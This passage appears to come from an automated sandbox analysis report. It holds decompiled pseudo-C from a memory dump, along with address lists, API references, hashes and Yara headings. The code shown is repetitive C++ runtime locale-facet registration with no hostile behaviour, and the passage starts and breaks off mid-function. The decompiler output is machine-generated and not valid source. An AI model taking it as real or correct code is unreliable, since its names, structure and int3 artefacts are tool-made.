																																		} else {
																																			__eflags = _t612;
																																			if(__eflags == 0) {
																																				_push(_a8);
																																				_push( &_v16);
																																				__eflags = E0048E607(_t595, _t612, __eflags) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E0042B042(__eflags);
																																					asm("int3");
																																					_push(8);
																																					E0049D90B(0x4d6966, _t595, _t612);
																																					E00488DEA( &_v20, 0);
																																					_t613 =  *0x4eddd8; // 0x0
																																					_v4 = _v4 & 0x00000000;
																																					_v16 = _t613;
																																					_t596 = E0042B315(_a8, E0042B22E(0x4edd84, _t595, _t613, __eflags));
																																					__eflags = _t596;
																																					if(_t596 != 0) {
																																						L82:
																																						E00488E42( &_v20);
																																						return E0049D8D4(_t596);
																																					} else {
																																						__eflags = _t613;
																																						if(__eflags == 0) {
																																							_push(_a8);
																																							_push( &_v16);
																																							__eflags = E0048E682(_t596, _t613, __eflags) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E0042B042(__eflags);
																																								asm("int3");
																																								_push(8);
																																								E0049D90B(0x4d6966, _t596, _t613);
																																								E00488DEA( &_v20, 0);
																																								_t614 =  *0x4ede24; // 0x0
																																								_v4 = _v4 & 0x00000000;
																																								_v16 = _t614;
																																								_t597 = E0042B315(_a8, E0042B22E(0x4eddc8, _t596, _t614, __eflags));
																																								__eflags = _t597;
																																								if(_t597 != 0) {
																																									L89:
																																									E00488E42( &_v20);
																																									return E0049D8D4(_t597);
																																								} else {
																																									__eflags = _t614;
																																									if(__eflags == 0) {
																																										_push(_a8);
																																										_push( &_v16);
																																										__eflags = E0048E6FD(_t597, _t614, __eflags) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E0042B042(__eflags);
																																											asm("int3");
																																											_push(8);
																																											E0049D90B(0x4d6966, _t597, _t614);
																																											E00488DEA( &_v20, 0);
																																											_t615 =  *0x4eddf4; // 0x0
																																											_v4 = _v4 & 0x00000000;
																																											_v16 = _t615;
																																											_t598 = E0042B315(_a8, E0042B22E(0x4edda0, _t597, _t615, __eflags));
																																											__eflags = _t598;
																																											if(_t598 != 0) {
																																												L96:
																																												E00488E42( &_v20);
																																												return E0049D8D4(_t598);
																																											} else {
																																												__eflags = _t615;
																																												if(__eflags == 0) {
																																													_push(_a8);
																																													_push( &_v16);
																																													__eflags = E0048E769(_t598, _t615, __eflags) - 0xffffffff;
																																													if(__eflags == 0) {
																																														E0042B042(__eflags);
																																														asm("int3");
																																														_push(8);
																																														E0049D90B(0x4d6966, _t598, _t615);
																																														E00488DEA( &_v20, 0);
																																														_t616 =  *0x4ede28; // 0x0
																																														_v4 = _v4 & 0x00000000;
																																														_v16 = _t616;
																																														_t599 = E0042B315(_a8, E0042B22E(0x4eddcc, _t598, _t616, __eflags));
																																														__eflags = _t599;
																																														if(_t599 != 0) {
																																															L103:
																																															E00488E42( &_v20);
																																															return E0049D8D4(_t599);
																																														} else {
																																															__eflags = _t616;
																																															if(__eflags == 0) {
																																																_push(_a8);
																																																_push( &_v16);
																																																__eflags = E0048E7D5(_t599, _t616, __eflags) - 0xffffffff;
																																																if(__eflags == 0) {
																																																	E0042B042(__eflags);
																																																	asm("int3");
																																																	_push(8);
																																																	E0049D90B(0x4d6966, _t599, _t616);
																																																	E00488DEA( &_v20, 0);
																																																	_t617 =  *0x4eddf8; // 0x0
																																																	_v4 = _v4 & 0x00000000;
																																																	_v16 = _t617;
																																																	_t600 = E0042B315(_a8, E0042B22E(0x4edd78, _t599, _t617, __eflags));
																																																	__eflags = _t600;
																																																	if(_t600 != 0) {
																																																		L110:
																																																		E00488E42( &_v20);
																																																		return E0049D8D4(_t600);
																																																	} else {
																																																		__eflags = _t617;
																																																		if(__eflags == 0) {
																																																			_push(_a8);
																																																			_push( &_v16);
																																																			_t371 = E0048E849(_t600, _t617, __eflags);
																																																			_pop(_t535);
																																																			__eflags = _t371 - 0xffffffff;
																																																			if(__eflags == 0) {
																																																				E0042B042(__eflags);
																																																				asm("int3");
																																																				_push(_t617);
																																																				_t618 = _t535;
																																																				_t194 = _t618 + 0x10;
																																																				 *_t194 =  *(_t618 + 0x10) & 0x00000000;
																																																				__eflags =  *_t194;
																																																				 *((intOrPtr*)(_t618 + 0x14)) = 7;
																																																				 *_t618 = 0;
																																																				E00494BE0( *((intOrPtr*)(_t639 + 8)));
																																																				return _t618;
																																																			} else {
																																																				_t600 = _v16;
																																																				_v16 = _t600;
																																																				_v4 = 1;
																																																				E0048919D(_t600);
																																																				 *0x4f02b4();
																																																				 *((intOrPtr*)( *((intOrPtr*)( *_t600 + 4))))();
																																																				 *0x4eddf8 = _t600;
																																																				goto L110;
																																																			}
																																																		} else {
																																																			_t600 = _t617;
																																																			goto L110;
																																																		}
																																																	}
																																																} else {
																																																	_t599 = _v16;
																																																	_v16 = _t599;
																																																	_v4 = 1;
																																																	E0048919D(_t599);
																																																	 *0x4f02b4();
																																																	 *((intOrPtr*)( *((intOrPtr*)( *_t599 + 4))))();
																																																	 *0x4ede28 = _t599;
																																																	goto L103;
																																																}
																																															} else {
																																																_t599 = _t616;
																																																goto L103;
																																															}
																																														}
																																													} else {
																																														_t598 = _v16;
																																														_v16 = _t598;
																																														_v4 = 1;
																																														E0048919D(_t598);
																																														 *0x4f02b4();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t598 + 4))))();
																																														 *0x4eddf4 = _t598;
																																														goto L96;
																																													}
																																												} else {
																																													_t598 = _t615;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t597 = _v16;
																																											_v16 = _t597;
																																											_v4 = 1;
																																											E0048919D(_t597);
																																											 *0x4f02b4();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t597 + 4))))();
																																											 *0x4ede24 = _t597;
																																											goto L89;
																																										}
																																									} else {
																																										_t597 = _t614;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t596 = _v16;
																																								_v16 = _t596;
																																								_v4 = 1;
																																								E0048919D(_t596);
																																								 *0x4f02b4();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t596 + 4))))();
																																								 *0x4eddd8 = _t596;
																																								goto L82;
																																							}
																																						} else {
																																							_t596 = _t613;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t595 = _v16;
																																					_v16 = _t595;
																																					_v4 = 1;
																																					E0048919D(_t595);
																																					 *0x4f02b4();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t595 + 4))))();
																																					 *0x4ede08 = _t595;
																																					goto L75;
																																				}
																																			} else {
																																				_t595 = _t612;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t594 = _v16;
																																		_v16 = _t594;
																																		_v4 = 1;
																																		E0048919D(_t594);
																																		 *0x4f02b4();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t594 + 4))))();
																																		 *0x4eddd4 = _t594;
																																		goto L68;
																																	}
																																} else {
																																	_t594 = _t611;
																																	goto L68;
																																}
																															}
																														} else {
																															_t593 = _v16;
																															_v16 = _t593;
																															_v4 = 1;
																															E0048919D(_t593);
																															 *0x4f02b4();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t593 + 4))))();
																															 *0x4ede04 = _t593;
																															goto L61;
																														}
																													} else {
																														_t593 = _t610;
																														goto L61;
																													}
																												}
																											} else {
																												_t592 = _v16;
																												_v16 = _t592;
																												_v4 = 1;
																												E0048919D(_t592);
																												 *0x4f02b4();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t592 + 4))))();
																												 *0x4eddd0 = _t592;
																												goto L54;
																											}
																										} else {
																											_t592 = _t609;
																											goto L54;
																										}
																									}
																								} else {
																									_t591 = _v16;
																									_v16 = _t591;
																									_v4 = 1;
																									E0048919D(_t591);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t591 + 4))))();
																									 *0x4ede00 = _t591;
																									goto L47;
																								}
																							} else {
																								_t591 = _t608;
																								goto L47;
																							}
																						}
																					} else {
																						_t590 = _v16;
																						_v16 = _t590;
																						_v4 = 1;
																						E0048919D(_t590);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t590 + 4))))();
																						 *0x4eddec = _t590;
																						goto L40;
																					}
																				} else {
																					_t590 = _t607;
																					goto L40;
																				}
																			}
																		} else {
																			_t589 = _v16;
																			_v16 = _t589;
																			_v4 = 1;
																			E0048919D(_t589);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t589 + 4))))();
																			 *0x4eddf0 = _t589;
																			goto L33;
																		}
																	} else {
																		_t589 = _t606;
																		goto L33;
																	}
																}
															} else {
																_t588 = _v16;
																_v16 = _t588;
																_v4 = 1;
																E0048919D(_t588);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t588 + 4))))();
																 *0x4ede1c = _t588;
																goto L26;
															}
														} else {
															_t588 = _t605;
															goto L26;
														}
													}
												} else {
													_t587 = _v16;
													_v16 = _t587;
													_v4 = 1;
													E0048919D(_t587);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t587 + 4))))();
													 *0x4ede20 = _t587;
													goto L19;
												}
											} else {
												_t587 = _t604;
												goto L19;
											}
										}
									} else {
										_t586 = _v16;
										_v16 = _t586;
										_v4 = 1;
										E0048919D(_t586);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t586 + 4))))();
										 *0x4edde8 = _t586;
										goto L12;
									}
								} else {
									_t586 = _t603;
									goto L12;
								}
							}
						} else {
							_t585 = _v16;
							_v16 = _t585;
							_v4 = 1;
							E0048919D(_t585);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t585 + 4))))();
							 *0x4ede18 = _t585;
							goto L5;
						}
					} else {
						_t585 = _t602;
						goto L5;
					}
				}
			}

0x0048c710
0x0048c717
0x0048c721
0x0048c726
0x0048c731
0x0048c735
0x0048c741
0x0048c746
0x0048c74a
0x0048c78f
0x0048c792
0x0048c79e
0x0048c74c
0x0048c74e
0x0048c754
0x0048c75a
0x0048c762
0x0048c765
0x0048c79f
0x0048c7a4
0x0048c7a5
0x0048c7ac
0x0048c7b6
0x0048c7bb
0x0048c7c6
0x0048c7ca
0x0048c7db
0x0048c7dd
0x0048c7df
0x0048c824
0x0048c827
0x0048c833
0x0048c7e1
0x0048c7e1
0x0048c7e3
0x0048c7e9
0x0048c7ef
0x0048c7f7
0x0048c7fa
0x0048c834
0x0048c839
0x0048c83a
0x0048c841
0x0048c84b
0x0048c850
0x0048c85b
0x0048c85f
0x0048c870
0x0048c872
0x0048c874
0x0048c8b9
0x0048c8bc
0x0048c8c8
0x0048c876
0x0048c876
0x0048c878
0x0048c87e
0x0048c884
0x0048c88c
0x0048c88f
0x0048c8c9
0x0048c8ce
0x0048c8cf
0x0048c8d6
0x0048c8e0
0x0048c8e5
0x0048c8f0
0x0048c8f4
0x0048c905
0x0048c907
0x0048c909
0x0048c94e
0x0048c951
0x0048c95d
0x0048c90b
0x0048c90b
0x0048c90d
0x0048c913
0x0048c919
0x0048c921
0x0048c924
0x0048c95e
0x0048c963
0x0048c964
0x0048c96b
0x0048c975
0x0048c97a
0x0048c985
0x0048c989
0x0048c99a
0x0048c99c
0x0048c99e
0x0048c9e3
0x0048c9e6
0x0048c9f2
0x0048c9a0
0x0048c9a0
0x0048c9a2
0x0048c9a8
0x0048c9ae
0x0048c9b6
0x0048c9b9
0x0048c9f3
0x0048c9f8
0x0048c9f9
0x0048ca00
0x0048ca0a
0x0048ca0f
0x0048ca1a
0x0048ca1e
0x0048ca2f
0x0048ca31
0x0048ca33
0x0048ca78
0x0048ca7b
0x0048ca87
0x0048ca35
0x0048ca35
0x0048ca37
0x0048ca3d
0x0048ca43
0x0048ca4b
0x0048ca4e
0x0048ca88
0x0048ca8d
0x0048ca8e
0x0048ca95
0x0048ca9f
0x0048caa4
0x0048caaf
0x0048cab3
0x0048cac4
0x0048cac6
0x0048cac8
0x0048cb0d
0x0048cb10
0x0048cb1c
0x0048caca
0x0048caca
0x0048cacc
0x0048cad2
0x0048cad8
0x0048cae0
0x0048cae3
0x0048cb1d
0x0048cb22
0x0048cb23
0x0048cb2a
0x0048cb34
0x0048cb39
0x0048cb44
0x0048cb48
0x0048cb59
0x0048cb5b
0x0048cb5d
0x0048cba2
0x0048cba5
0x0048cbb1
0x0048cb5f
0x0048cb5f
0x0048cb61
0x0048cb67
0x0048cb6d
0x0048cb75
0x0048cb78
0x0048cbb2
0x0048cbb7
0x0048cbb8
0x0048cbbf
0x0048cbc9
0x0048cbce
0x0048cbd9
0x0048cbdd
0x0048cbee
0x0048cbf0
0x0048cbf2
0x0048cc37
0x0048cc3a
0x0048cc46
0x0048cbf4
0x0048cbf4
0x0048cbf6
0x0048cbfc
0x0048cc02
0x0048cc0a
0x0048cc0d
0x0048cc47
0x0048cc4c
0x0048cc4d
0x0048cc54
0x0048cc5e
0x0048cc63
0x0048cc6e
0x0048cc72
0x0048cc83
0x0048cc85
0x0048cc87
0x0048cccc
0x0048cccf
0x0048ccdb
0x0048cc89
0x0048cc89
0x0048cc8b
0x0048cc91
0x0048cc97
0x0048cc9f
0x0048cca2
0x0048ccdc
0x0048cce1
0x0048cce2
0x0048cce9
0x0048ccf3
0x0048ccf8
0x0048cd03
0x0048cd07
0x0048cd18
0x0048cd1a
0x0048cd1c
0x0048cd61
0x0048cd64
0x0048cd70
0x0048cd1e
0x0048cd1e
0x0048cd20
0x0048cd26
0x0048cd2c
0x0048cd34
0x0048cd37
0x0048cd71
0x0048cd76
0x0048cd77
0x0048cd7e
0x0048cd88
0x0048cd8d
0x0048cd98
0x0048cd9c
0x0048cdad
0x0048cdaf
0x0048cdb1
0x0048cdf6
0x0048cdf9
0x0048ce05
0x0048cdb3
0x0048cdb3
0x0048cdb5
0x0048cdbb
0x0048cdc1
0x0048cdc9
0x0048cdcc
0x0048ce06
0x0048ce0b
0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce42
0x0048ce44
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a
0x0048cdce
0x0048cdce
0x0048cdd1
0x0048cdd5
0x0048cdd9
0x0048cde6
0x0048cdee
0x0048cdf0
0x00000000
0x0048cdf0
0x0048cdb7
0x0048cdb7
0x00000000
0x0048cdb7
0x0048cdb5
0x0048cd39
0x0048cd39
0x0048cd3c
0x0048cd40
0x0048cd44
0x0048cd51
0x0048cd59
0x0048cd5b
0x00000000
0x0048cd5b
0x0048cd22
0x0048cd22
0x00000000
0x0048cd22
0x0048cd20
0x0048cca4
0x0048cca4
0x0048cca7
0x0048ccab
0x0048ccaf
0x0048ccbc
0x0048ccc4
0x0048ccc6
0x00000000
0x0048ccc6
0x0048cc8d
0x0048cc8d
0x00000000
0x0048cc8d
0x0048cc8b
0x0048cc0f
0x0048cc0f
0x0048cc12
0x0048cc16
0x0048cc1a
0x0048cc27
0x0048cc2f
0x0048cc31
0x00000000
0x0048cc31
0x0048cbf8
0x0048cbf8
0x00000000
0x0048cbf8
0x0048cbf6
0x0048cb7a
0x0048cb7a
0x0048cb7d
0x0048cb81
0x0048cb85
0x0048cb92
0x0048cb9a
0x0048cb9c
0x00000000
0x0048cb9c
0x0048cb63
0x0048cb63
0x00000000
0x0048cb63
0x0048cb61
0x0048cae5
0x0048cae5
0x0048cae8
0x0048caec
0x0048caf0
0x0048cafd
0x0048cb05
0x0048cb07
0x00000000
0x0048cb07
0x0048cace
0x0048cace
0x00000000
0x0048cace
0x0048cacc
0x0048ca50
0x0048ca50
0x0048ca53
0x0048ca57
0x0048ca5b
0x0048ca68
0x0048ca70
0x0048ca72
0x00000000
0x0048ca72
0x0048ca39
0x0048ca39
0x00000000
0x0048ca39
0x0048ca37
0x0048c9bb
0x0048c9bb
0x0048c9be
0x0048c9c2
0x0048c9c6
0x0048c9d3
0x0048c9db
0x0048c9dd
0x00000000
0x0048c9dd
0x0048c9a4
0x0048c9a4
0x00000000
0x0048c9a4
0x0048c9a2
0x0048c926
0x0048c926
0x0048c929
0x0048c92d
0x0048c931
0x0048c93e
0x0048c946
0x0048c948
0x00000000
0x0048c948
0x0048c90f
0x0048c90f
0x00000000
0x0048c90f
0x0048c90d
0x0048c891
0x0048c891
0x0048c894
0x0048c898
0x0048c89c
0x0048c8a9
0x0048c8b1
0x0048c8b3
0x00000000
0x0048c8b3
0x0048c87a
0x0048c87a
0x00000000
0x0048c87a
0x0048c878
0x0048c7fc
0x0048c7fc
0x0048c7ff
0x0048c803
0x0048c807
0x0048c814
0x0048c81c
0x0048c81e
0x00000000
0x0048c81e
0x0048c7e5
0x0048c7e5
0x00000000
0x0048c7e5
0x0048c7e3
0x0048c767
0x0048c767
0x0048c76a
0x0048c76e
0x0048c772
0x0048c77f
0x0048c787
0x0048c789
0x00000000
0x0048c789
0x0048c750
0x0048c750
0x00000000
0x0048c750
0x0048c74e

APIs

__EH_prolog3.LIBCMT ref: 0048C717
std::_Lockit::_Lockit.LIBCPMT ref: 0048C721

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0048C772
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C792
Concurrency::cancel_current_task.LIBCPMT ref: 0048C79F

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: 7233701963cd401046e6d92841f82ed26d5360e8ba0577fce7e5c73750c9d637
Instruction ID: 58dec0d1fe3bd3fda58d2b996ba06d0af7309955b4bc7c56c9799c0485bcf23a
Opcode Fuzzy Hash: 7233701963cd401046e6d92841f82ed26d5360e8ba0577fce7e5c73750c9d637
Instruction Fuzzy Hash: 5301A175E001169BCB05FB6598996BE7771AF84314F24095EE4106B382CF7C9E018B99

Uniqueness

Uniqueness Score: -1.00%

Function 0048C7A5, Relevance: 7.5, APIs: 5, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048C7A5(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v176;
				signed int _t189;
				void* _t348;
				short* _t502;
				void* _t548;
				signed int _t550;
				signed int _t551;
				signed int _t552;
				signed int _t553;
				signed int _t554;
				signed int _t555;
				signed int _t556;
				signed int _t557;
				signed int _t558;
				signed int _t559;
				signed int _t560;
				signed int _t561;
				signed int _t562;
				signed int _t563;
				void* _t564;
				signed int _t565;
				signed int _t566;
				signed int _t567;
				signed int _t568;
				signed int _t569;
				signed int _t570;
				signed int _t571;
				signed int _t572;
				signed int _t573;
				signed int _t574;
				signed int _t575;
				signed int _t576;
				signed int _t577;
				signed int _t578;
				signed int _t579;
				short* _t580;
				void* _t600;
				void* _t601;

				_push(8);
				E0049D90B(0x4d6966, _t548, _t564);
				E00488DEA( &_v20, 0);
				_t565 =  *0x4edde8; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t565;
				_t189 = E0042B315(_a8, E0042B22E(0x4edd94, _t548, _t565, _t601));
				_t549 = _t189;
				if(_t189 != 0) {
					L5:
					E00488E42( &_v20);
					return E0049D8D4(_t549);
				} else {
					if(_t565 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E0048E1ED(_t549, _t565, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t549, _t565);
							E00488DEA( &_v20, 0);
							_t566 =  *0x4ede20; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t566;
							_t550 = E0042B315(_a8, E0042B22E(0x4eddc4, _t549, _t566, __eflags));
							__eflags = _t550;
							if(_t550 != 0) {
								L12:
								E00488E42( &_v20);
								return E0049D8D4(_t550);
							} else {
								__eflags = _t566;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E0048E255(_t550, _t566, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t550, _t566);
										E00488DEA( &_v20, 0);
										_t567 =  *0x4ede1c; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t567;
										_t551 = E0042B315(_a8, E0042B22E(0x4eddc0, _t550, _t567, __eflags));
										__eflags = _t551;
										if(_t551 != 0) {
											L19:
											E00488E42( &_v20);
											return E0049D8D4(_t551);
										} else {
											__eflags = _t567;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E0048E2D9(_t551, _t567, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t551, _t567);
													E00488DEA( &_v20, 0);
													_t568 =  *0x4eddf0; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t568;
													_t552 = E0042B315(_a8, E0042B22E(0x4edd9c, _t551, _t568, __eflags));
													__eflags = _t552;
													if(_t552 != 0) {
														L26:
														E00488E42( &_v20);
														return E0049D8D4(_t552);
													} else {
														__eflags = _t568;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E0048E35E(_t552, _t568, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																E0049D90B(0x4d6966, _t552, _t568);
																E00488DEA( &_v20, 0);
																_t569 =  *0x4eddec; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t569;
																_t553 = E0042B315(_a8, E0042B22E(0x4edd98, _t552, _t569, __eflags));
																__eflags = _t553;
																if(_t553 != 0) {
																	L33:
																	E00488E42( &_v20);
																	return E0049D8D4(_t553);
																} else {
																	__eflags = _t569;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E0048E3E2(_t553, _t569, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			E0049D90B(0x4d6966, _t553, _t569);
																			E00488DEA( &_v20, 0);
																			_t570 =  *0x4ede00; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t570;
																			_t554 = E0042B315(_a8, E0042B22E(0x4edda4, _t553, _t570, __eflags));
																			__eflags = _t554;
																			if(_t554 != 0) {
																				L40:
																				E00488E42( &_v20);
																				return E0049D8D4(_t554);
																			} else {
																				__eflags = _t570;
																				if(__eflags == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E0048E467(_t554, _t570, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						E0049D90B(0x4d6966, _t554, _t570);
																						E00488DEA( &_v20, 0);
																						_t571 =  *0x4eddd0; // 0x0
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t571;
																						_t555 = E0042B315(_a8, E0042B22E(0x4edd7c, _t554, _t571, __eflags));
																						__eflags = _t555;
																						if(_t555 != 0) {
																							L47:
																							E00488E42( &_v20);
																							return E0049D8D4(_t555);
																						} else {
																							__eflags = _t571;
																							if(__eflags == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E0048E4CF(_t555, _t571, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									E0049D90B(0x4d6966, _t555, _t571);
																									E00488DEA( &_v20, 0);
																									_t572 =  *0x4ede04; // 0x0
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t572;
																									_t556 = E0042B315(_a8, E0042B22E(0x4edda8, _t555, _t572, __eflags));
																									__eflags = _t556;
																									if(_t556 != 0) {
																										L54:
																										E00488E42( &_v20);
																										return E0049D8D4(_t556);
																									} else {
																										__eflags = _t572;
																										if(__eflags == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E0048E537(_t556, _t572, __eflags) - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(8);
																												E0049D90B(0x4d6966, _t556, _t572);
																												E00488DEA( &_v20, 0);
																												_t573 =  *0x4eddd4; // 0x0
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t573;
																												_t557 = E0042B315(_a8, E0042B22E(0x4edd80, _t556, _t573, __eflags));
																												__eflags = _t557;
																												if(_t557 != 0) {
																													L61:
																													E00488E42( &_v20);
																													return E0049D8D4(_t557);
																												} else {
																													__eflags = _t573;
																													if(__eflags == 0) {
																														_push(_a8);
																														_push( &_v16);
																														__eflags = E0048E59F(_t557, _t573, __eflags) - 0xffffffff;
																														if(__eflags == 0) {
																															E0042B042(__eflags);
																															asm("int3");
																															_push(8);
																															E0049D90B(0x4d6966, _t557, _t573);
																															E00488DEA( &_v20, 0);
																															_t574 =  *0x4ede08; // 0x0
																															_v4 = _v4 & 0x00000000;
																															_v16 = _t574;
																															_t558 = E0042B315(_a8, E0042B22E(0x4eddac, _t557, _t574, __eflags));
																															__eflags = _t558;
																															if(_t558 != 0) {
																																L68:
																																E00488E42( &_v20);
																																return E0049D8D4(_t558);
																															} else {
																																__eflags = _t574;
																																if(__eflags == 0) {
																																	_push(_a8);
																																	_push( &_v16);
																																	__eflags = E0048E607(_t558, _t574, __eflags) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E0042B042(__eflags);
																																		asm("int3");
																																		_push(8);
																																		E0049D90B(0x4d6966, _t558, _t574);
																																		E00488DEA( &_v20, 0);
																																		_t575 =  *0x4eddd8; // 0x0
																																		_v4 = _v4 & 0x00000000;
																																		_v16 = _t575;
																																		_t559 = E0042B315(_a8, E0042B22E(0x4edd84, _t558, _t575, __eflags));
																																		__eflags = _t559;
																																		if(_t559 != 0) {
																																			L75:
																																			E00488E42( &_v20);
																																			return E0049D8D4(_t559);
																																		} else {
																																			__eflags = _t575;
																																			if(__eflags == 0) {
																																				_push(_a8);
																																				_push( &_v16);
																																				__eflags = E0048E682(_t559, _t575, __eflags) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E0042B042(__eflags);
																																					asm("int3");
																																					_push(8);
																																					E0049D90B(0x4d6966, _t559, _t575);
																																					E00488DEA( &_v20, 0);
																																					_t576 =  *0x4ede24; // 0x0
																																					_v4 = _v4 & 0x00000000;
																																					_v16 = _t576;
																																					_t560 = E0042B315(_a8, E0042B22E(0x4eddc8, _t559, _t576, __eflags));
																																					__eflags = _t560;
																																					if(_t560 != 0) {
																																						L82:
																																						E00488E42( &_v20);
																																						return E0049D8D4(_t560);
																																					} else {
																																						__eflags = _t576;
																																						if(__eflags == 0) {
																																							_push(_a8);
																																							_push( &_v16);
																																							__eflags = E0048E6FD(_t560, _t576, __eflags) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E0042B042(__eflags);
																																								asm("int3");
																																								_push(8);
																																								E0049D90B(0x4d6966, _t560, _t576);
																																								E00488DEA( &_v20, 0);
																																								_t577 =  *0x4eddf4; // 0x0
																																								_v4 = _v4 & 0x00000000;
																																								_v16 = _t577;
																																								_t561 = E0042B315(_a8, E0042B22E(0x4edda0, _t560, _t577, __eflags));
																																								__eflags = _t561;
																																								if(_t561 != 0) {
																																									L89:
																																									E00488E42( &_v20);
